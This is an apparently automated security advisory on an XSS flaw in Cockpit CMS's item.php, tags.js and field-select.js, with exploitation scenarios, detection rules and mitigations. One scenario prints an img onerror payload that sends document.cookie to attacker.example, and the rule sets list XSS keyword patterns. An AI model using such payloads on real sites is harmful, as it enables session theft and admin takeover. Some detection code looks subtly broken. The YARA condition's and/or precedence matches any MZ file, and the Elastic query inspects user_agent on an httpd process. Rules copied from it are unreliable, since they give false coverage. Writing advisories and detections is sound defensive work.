CVE-2026-39275

Executive Summary

CVE-2026-39275 is a Cross-Site Scripting (XSS) vulnerability affecting Cockpit CMS version 2.13.5 and earlier. The flaw allows a remote attacker to execute arbitrary client-side code by exploiting insufficient input sanitization within three specific components: item.php, field-select.js, and tags.js. Given that Cockpit CMS is a popular open-source content management system used by organizations to manage websites and web applications, any authenticated or unauthenticated exploitation path could lead to session hijacking, credential theft, or full account takeover of administrative users. Currently, the vulnerability is unpatched — no vendor fix, patch, or workaround has been identified from any tracked source, leaving all affected deployments exposed.

Technical Analysis

CVE-2026-39275 is classified as a Cross-Site Scripting vulnerability residing in multiple components of Cockpit CMS v.2.13.5 and earlier. The NVD description explicitly identifies three attack surfaces: the item.php component (likely a PHP backend endpoint responsible for rendering or processing content items), field-select.js (a JavaScript module handling field selection logic), and tags.js (a JavaScript module managing tag input and rendering).

Vulnerability mechanism: At the vulnerability-class level, XSS arises when user-supplied input is reflected or stored without adequate sanitization and subsequently rendered in a browser context that permits script execution. In the context of a CMS:

• item.php likely processes HTTP requests for content items (create, read, update, delete). If the script echoes user-controlled parameters (e.g., item name, metadata fields, or filter values) directly into the HTML response without proper output encoding, an attacker can inject a malicious payload such as <script>alert(document.cookie)</script> or an event handler like <img src=x onerror=...>.
• field-select.js and tags.js are client-side components. If they consume data from the server (e.g., via JSON responses) and inject that data into the DOM using unsafe methods — such as innerHTML or document.write() — instead of safe text-based APIs (e.g., textContent or DOM creation functions), stored XSS becomes possible. An attacker with content-editor privileges could plant a payload within a tag name or field value that later executes when another admin views the affected page.

Attack surface: The attack surface includes any administrative or editorial interface within the CMS where item management, field selection, or tag entry occur. The threat model includes:

• Unauthenticated attack: Only if item.php reflects input without authentication (e.g., a public-facing content display endpoint). This would enable drive-by attacks against site visitors.
• Authenticated attack (more likely): An attacker with low-privilege editor access could inject payloads into tag or field values that are subsequently rendered in the admin panel. This would execute in the browser of a higher-privileged admin, enabling privilege escalation.

Type of XSS: Given the involvement of both a PHP file and JavaScript modules, the vulnerability may cover both reflected (via item.php request parameters) and stored (via tags.js / field-select.js rendering persisted data) variants. The NVD description does not differentiate; therefore, both mechanisms must be considered.

No CWE identifier was assigned. The CVSS score is N/A, indicating that the vulnerability has not been scored by the CVE program or the CNA. Similarly, EPSS has not yet been scored, and there is no evidence of a public PoC or exploit code. Patch confidence is 0/4 (unpatched), meaning that security teams must assume all versions ≤ 2.13.5 are vulnerable until a fix is released.

Exploitation Scenarios

No public PoC is available; the attack chain below is inferred from the vulnerability class (XSS) and the components named in the NVD description.

Scenario 1: Stored XSS via Admin Panel (Privilege Escalation)

1. Reconnaissance: The attacker identifies a Cockpit CMS deployment running version 2.13.5 or earlier. This can be done by fingerprinting the CMS via HTTP response headers, meta tags (e.g., generator tag), or distinctive paths such as /cockpit or /admin. Shodan/Censys queries can target http.title:"Cockpit" or server banners.
2. Trigger: The attacker authenticates with low-privileged credentials (e.g., an editor account) or exploits an unauthenticated content submission feature. They navigate to a content item creation/editing form where tags or field selections are managed.
3. Payload Execution: In the "tags" input, the attacker submits a payload such as "><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. The tags.js component processes this string and, if it uses unsafe DOM insertion (e.g., assigning the sanitized HTML to innerHTML without filtering), the payload is stored in the database. When a site administrator later opens the item listing or editing page, the tags.js component renders the tag, and the browser executes the onerror handler — sending the admin's session cookie to the attacker's server.
4. Post-Exploitation: With the stolen admin session cookie, the attacker impersonates the administrator, uploads malicious files, modifies site content (defacement or malware distribution), or creates a new administrative account to maintain persistent access.

Scenario 2: Reflected XSS via item.php (Targeted Attack)

1. Reconnaissance: The attacker crafts a malicious URL pointing to item.php with an injectable parameter, e.g., https://victim.example/cockpit/item.php?item=<script>...</script>. The attacker identifies that the parameter is echoed unencoded into the response.
2. Delivery: The attacker sends this link to a site administrator via phishing email or messaging, using social engineering (e.g., "Review this draft item").
3. Trigger: When the admin clicks the link, the browser renders the page; the server-side script reflects the payload without proper output encoding, and the script executes within the context of the admin's session.
4. Post-Exploitation: The same post-exploitation impact applies as in Scenario 1 — session hijacking, credential theft (via a crafted fake login form), or performing administrative actions on behalf of the victim.

Impact of the Attack Class: XSS enables the execution of arbitrary JavaScript in the context of the victim's browser session. In a CMS, this effectively grants the attacker the same capabilities as the logged-in user: content manipulation, user management, file upload, and potentially server-side code execution if the CMS offers PHP file uploads.

Impact Assessment

Business Impact:

• Confidentiality: An attacker who achieves XSS can exfiltrate session tokens, CSRF tokens, and potentially access-sensitive data rendered within the admin panel (e.g., site configuration, API keys, database credentials).
• Integrity: The attacker can alter website content, inject malicious iframes or scripts that serve malware to visitors, or create backdoor accounts — turning the CMS into a watering-hole for further attacks.
• Availability: While XSS typically does not directly cause denial of service, an attacker could lock out legitimate administrators by changing credentials or deleting critical content.

Affected Systems: All Cockpit CMS instances running version 2.13.5 or earlier. Given that the CMS is open-source and widely deployed for lightweight content management, the potential victim population includes small businesses, agencies, and custom web projects.

Blast Radius: The impact is rated as High-to-Critical in practice, despite the CVSS score being N/A (unscored). Because the CMS admin panel is a high-value target, a successful XSS compromise leads directly to server compromise (via file upload and PHP execution) in many deployments. The lack of a patch increases the urgency: this is a known, unpatched vulnerability affecting all current installs.

CVSS Subscores: N/A — the CVE has not been scored. Security teams should treat this as High severity and prioritize per their own risk assessment.

Detection Guidance

The following detection signatures are based on the vulnerability class (XSS) and the named components. They target the most common attack strings and behaviors associated with XSS exploitation. Adjust field names and filter logic to match your logging infrastructure.

Sigma Rule

title: Cockpit CMS XSS Attempt - item.php Reflected Payload
id: 9f0a4c2e-6b45-4f0e-9d3a-1c2b5d4e6f7a
status: experimental
description: Detects XSS payloads in HTTP requests targeting Cockpit CMS item.php component.
author: Valters IT Threat Intel
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection:
    cs-method: GET
    cs-uri-query|contains:
      - 'item.php'
  payloads:
    cs-uri-query|contains:
      - '<script>'
      - '<img src=x onerror='
      - 'javascript:'
      - 'onload='
      - 'onerror='
      - 'onclick='
      - '<svg/onload='
  condition: selection and payloads
  timeframe: 5m
falsepositives:
  - Penetration testing activity
  - Legitimate admin entering HTML content in item fields
level: high

YARA Rule

rule CockpitCMS_XSS_Payloads {
    meta:
        author = "Valters IT Threat Intel"
        description = "Detects XSS payload strings targeting Cockpit CMS components"
        cve = "CVE-2026-39275"
        date = "2026-01-01"
    strings:
        $s1 = "<script>" ascii wide
        $s2 = "onerror=" ascii wide nocase
        $s3 = "javascript:" ascii wide nocase
        $s4 = "<svg/onload" ascii wide nocase
        $s5 = "document.cookie" ascii wide nocase
        $s6 = "item.php" ascii wide
        $s7 = "tags.js" ascii wide
        $s8 = "field-select.js" ascii wide
    condition:
        uint16(0) == 0x4D5A or filesize < 10MB
        and any of ($s1, $s2, $s3, $s4, $s5)
        and any of ($s6, $s7, $s8)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-39275 - Cockpit CMS XSS Payload in item.php Request"; flow:established,to_server; http.uri; content:"item.php"; fast_pattern; content:"<script>"; http.uri; sid:21000001; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

alert http any any -> $HOME_NET any (msg:"CVE-2026-39275 - Potential Stored XSS Payload in Cockpit CMS Admin"; flow:established,to_server; http.request_body; content:"onerror="; http.request_body; content:"tags.js"; http.uri; sid:21000002; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

Elastic Detection

// Detect GET requests with XSS payloads targeting item.php
any where process.name == "httpd" and event.action == "read" and
  (url.path contains "item.php" and
   (user_agent.text contains "<script>" or
    user_agent.text contains "onerror=" or
    query_string.text contains "javascript:"))

// Detect stored XSS via admin API - payload in POST body
any where process.name == "httpd" and event.action == "read" and
  (url.path contains "/api/" and
   (request.body.text contains "<script>" or
    request.body.text contains "onerror=" or
    request.body.text contains "onload="))

Splunk SPL Query

index=web sourcetype=access_combined uri_path="*item.php*"
| where match(_raw, "(?i)(<script>|onerror=|javascript:|<svg/onload)")
| stats count by src_ip, uri_path, user_agent, _time
| sort - count

index=web sourcetype=access_combined uri_path IN ("*api/*", "*admin*")
| where match(form_data, "(?i)(<script>|onerror=|onload=|javascript:)")
| stats count by src_ip, uri_path, http_referrer
| sort - count

Wazuh OSSEC Rule

<group name="webserver,">
  <rule id="100392" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.*item\.php\.*</field>
    <regex>(\<script\>|onerror=|javascript:|onload=)</regex>
    <description>Cockpit CMS (CVE-2026-39275): XSS payload detected in item.php request</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_access,</group>
  </rule>

  <rule id="100393" level="12">
    <decoded_as>web</decoded_as>
    <url>\.*tags\.js\.*|\.*field-select\.js\.*</url>
    <regex>(\<script\>|onerror=|javascript:)</regex>
    <description>Cockpit CMS (CVE-2026-39275): Stored XSS payload in JS component reference</description>
    <group>attack.initial_access,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor fix has been identified from any tracked source. The following measures are recommended as interim controls.

1. Immediate Mitigations:

• Restrict Admin Access: Enforce strict network-level access control (allowlist IP addresses) to the Cockpit CMS admin interface. Place the admin panel behind a VPN or a reverse proxy requiring additional authentication (e.g., basic auth or client certificates).
• Disable Unnecessary Features: If the tags and field-select features are not essential, disable them via CMS configuration to reduce the attack surface.
• Web Application Firewall (WAF): Deploy or configure a WAF to block common XSS patterns (e.g., <script>, onerror=, javascript:) in requests targeting item.php. Use the indicator rules above as reference.
• CSP Header: Add a Content Security Policy header that disallows inline scripts and unsafe-eval, e.g., Content-Security-Policy: default-src 'self'; script-src 'self';. This will block many XSS executions even if injection succeeds.
• Output Encoding Review: Audit the three named components (item.php, tags.js, field-select.js) for any direct HTML injection and apply proper output encoding (e.g., htmlspecialchars in PHP, textContent in JS).

2. Patch/Upgrade Steps:

• Monitor for Updates: Continuously monitor the Cockpit CMS official repository and security advisories. As of this report, no patched version exists. When a fixed version is released (likely 2.13.6 or later), upgrade immediately.
• Temporary Maintenance: If the CMS is business-critical and cannot tolerate the risk, consider temporarily taking the admin interface offline or reverting to an older version if any known-stable configuration exists (note: no patched version is known).

3. Long-Term Hardening:

• Input Validation: Implement a centralized input-validation and output-encoding library across the application.
• Session Hardening: Enable HttpOnly and Secure flags on session cookies, and implement short session timeouts and re-authentication for sensitive actions.
• Least Privilege: Ensure that content editors and administrators use separate accounts, and that no editor-level user has access to admin-only actions.
• Regular Scanning: Include this CVE in your vulnerability management scan templates so that when a patch becomes available, detection is immediate.

References

1. NVD Entry: CVE-2026-39275 — Official NVD record, description, and future scoring information.
2. Cockpit CMS Official Site: cockpit-hq.github.io — Vendor portal for releases, changelogs, and security advisories.
3. Cockpit CMS GitHub Repository: github.com/agentejo/cockpit — Source repository; monitor for commit history and security patch commits.
4. OWASP XSS Prevention Cheat Sheet: cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — Mitigation reference for output encoding and safe DOM manipulation.

Threat Actor Activity: No exploit-in-the-wild evidence or associated threat actor campaigns were identified as of the writing of this report. This may change as the vulnerability becomes more widely publicized; security teams should monitor @CERTbund and other CVE-feed channels for updates. The vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.